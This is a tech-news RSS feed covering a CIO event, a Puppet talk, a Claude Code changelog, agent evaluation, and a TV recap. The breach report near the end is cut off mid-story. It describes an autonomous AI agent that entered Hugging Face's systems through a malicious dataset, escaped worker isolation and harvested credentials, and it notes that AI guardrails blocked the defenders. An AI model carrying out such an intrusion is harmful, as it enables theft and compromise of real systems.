<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]></title>
<description><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrast...]]></description>
<link>https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:34:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrastructure could monitor itself automatically from the moment a server boots?

This talk demonstrates a production-ready architecture that combines modern Puppet patterns with automated service discovery to create truly self-configuring observability. Using Puppet's exported resources, nodes automatically register themselves for monitoring without any manual intervention. New web servers are discovered and scraped within minutes of provisioning—no configuration updates required.

You'll learn how to implement:

 * Modern Puppet classification using CSR attributes instead of site.pp node definitions. Nodes self-classify by embedding their role directly in their TLS certificate, eliminating centralized configuration bottlenecks.
 * Hiera-based roles defined as pure YAML data instead of Puppet manifests, making roles accessible to non-Puppet experts and enabling templated role generation.
 * Automated service discovery through Puppet's exported resources. Each node exports its monitoring endpoints to PuppetDB, which a lightweight Python script queries to generate Prometheus file-based service discovery targets. Zero manual configuration required.
 * Zero-trust security using Caddy as an mTLS reverse proxy. All metrics traffic is secured with mutual TLS using Puppet's existing CA infrastructure—no additional certificate management needed.
 * Universal observability with node_exporter on every server and application-specific exporters (apache_exporter, etc.) automatically configured based on the node's role.

The architecture scales from a handful of servers to thousands, works seamlessly with cloud auto-scaling and provides complete visibility into both system and application metrics. Attendees will observe a demo with working code, container configurations and a deep understanding of how to build self-managing infrastructure that doesn't require operator intervention to stay observable.

https://corporate-gadfly.github.io/zero-trust-observability/#/title-slide
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]></title>
<description><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrast...]]></description>
<link>https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:18:38 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building comprehensive infrastructure observability traditionally requires manual configuration of monitoring targets, brittle configuration management and endless YAML files. Every new server means updating Prometheus configs, managing certificates and hoping nothing breaks. What if your infrastructure could monitor itself automatically from the moment a server boots?

This talk demonstrates a production-ready architecture that combines modern Puppet patterns with automated service discovery to create truly self-configuring observability. Using Puppet's exported resources, nodes automatically register themselves for monitoring without any manual intervention. New web servers are discovered and scraped within minutes of provisioning—no configuration updates required.

You'll learn how to implement:

 * Modern Puppet classification using CSR attributes instead of site.pp node definitions. Nodes self-classify by embedding their role directly in their TLS certificate, eliminating centralized configuration bottlenecks.
 * Hiera-based roles defined as pure YAML data instead of Puppet manifests, making roles accessible to non-Puppet experts and enabling templated role generation.
 * Automated service discovery through Puppet's exported resources. Each node exports its monitoring endpoints to PuppetDB, which a lightweight Python script queries to generate Prometheus file-based service discovery targets. Zero manual configuration required.
 * Zero-trust security using Caddy as an mTLS reverse proxy. All metrics traffic is secured with mutual TLS using Puppet's existing CA infrastructure—no additional certificate management needed.
 * Universal observability with node_exporter on every server and application-specific exporters (apache_exporter, etc.) automatically configured based on the node's role.

The architecture scales from a handful of servers to thousands, works seamlessly with cloud auto-scaling and provides complete visibility into both system and application metrics. Attendees will observe a demo with working code, container configurations and a deep understanding of how to build self-managing infrastructure that doesn't require operator intervention to stay observable.

https://corporate-gadfly.github.io/zero-trust-observability/#/title-slide
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.216]]></title>
<description><![CDATA[What's changed

Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
Fixed auto mode ...]]></description>
<link>https://tsecurity.de/de/3682279/downloads/v21216/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682279/downloads/v21216/</guid>
<pubDate>Tue, 21 Jul 2026 00:16:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>sandbox.filesystem.disabled</code> setting to skip filesystem isolation while keeping network egress control</li>
<li>Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes</li>
<li>Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session</li>
<li>Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording</li>
<li>Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes</li>
<li>Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of <code>c</code>-operators and paste, statusline running twice on resume, and resume-picker hangs on failure</li>
<li>Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored</li>
<li>Fixed worktree-isolated subagents redirecting git into the shared checkout via <code>git -C</code>, <code>--git-dir</code>, or <code>GIT_DIR</code>/<code>GIT_WORK_TREE</code></li>
<li>Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project</li>
<li>Fixed background sessions whose worktree has no git repository being undeletable</li>
<li>Fixed <code>claude daemon stop --any</code> potentially terminating an unrelated process via a stale legacy daemon lockfile</li>
<li>Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks</li>
<li>Fixed Bash command permission checking for compound statements with redirects inside <code>&amp;&amp;</code> lists or negations</li>
<li>Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died</li>
<li>Fixed background subagents getting cancelled when a high-priority message arrives during their startup window</li>
<li>Fixed mouse and focus garbage in the terminal while a GUI editor from <code>/memory</code>, <code>/plan</code>, <code>/keybindings</code>, or Ctrl+G is open; <code>/memory</code> no longer waits for the editor to close</li>
<li>Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope</li>
<li>Fixed workflow saves and scheduled-task writes following a symlink at <code>.claude</code>, which could redirect writes outside the project</li>
<li>Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command</li>
<li>Fixed read-only commands on Windows accessing network paths without a permission prompt</li>
<li>Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries</li>
<li>Fixed PowerShell tool permission validation of commands containing invisible Unicode characters</li>
<li>Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel</li>
<li>Fixed the <code>/config</code> settings list in fullscreen mode clipping its keyboard-hint footer</li>
<li>Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns</li>
<li>Fixed the Prometheus metrics endpoint (<code>OTEL_METRICS_EXPORTER=prometheus</code>) emitting invalid <code># UNIT</code> lines</li>
<li>Fixed skills and commands changed during a session not appearing in the slash menu until restart</li>
<li>Fixed plugin skills with a <code>name</code> frontmatter field losing their plugin prefix in slash-command autocomplete</li>
<li>Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections</li>
<li>Improved the <code>/fork</code> confirmation to one line with the new session's name, <code>claude attach</code> id, and a note when the copy shares your checkout</li>
<li>Improved validation of <code>git</code> and <code>gh</code> command arguments in the PowerShell tool</li>
<li>Improved the <code>/ultrareview</code> diff-too-large error to show configured limits, measured diff size, and largest contributing files</li>
<li>Improved <code>/code-review ultra</code> empty-diff message to name the exact base ref and suggest passing an explicit base</li>
<li>Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected</li>
<li><code>/context</code> now shows an explicit warning when the conversation exceeds the context window, and a failed <code>/compact</code> displays as an error</li>
<li><code>/rewind</code> no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped</li>
<li>Background sessions: <code>/mcp</code> and <code>/install-github-app</code> now park a "needs input" request in the agent view when no client is attached</li>
<li>Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts</li>
<li>[VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code</li>
<li>Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate]]></title>
<description><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to po...]]></description>
<link>https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681763/ios-mac-os/house-of-the-dragon-season-3-episode-5-recap-alicent-and-helaena-face-a-dark-fate/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power.



Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5.




Episode title: Unbowed and Unbent



Release date: July 19, 2026



Streaming platform: HBO Max



Genre: Fantasy drama




The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly.



Alicent and Helaena Try to Escape the Red Keep



The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing.



Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys.



She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back.



Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them.



Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule.



Aemond Finds Comfort With Alys Rivers







At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true.



Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons.



Criston Cole Prepares for His Final Battle



Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation.



His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus.



Who Killed Rhaenyra’s Gold Cloaks?



The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.”



Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within.



House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital.



What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. 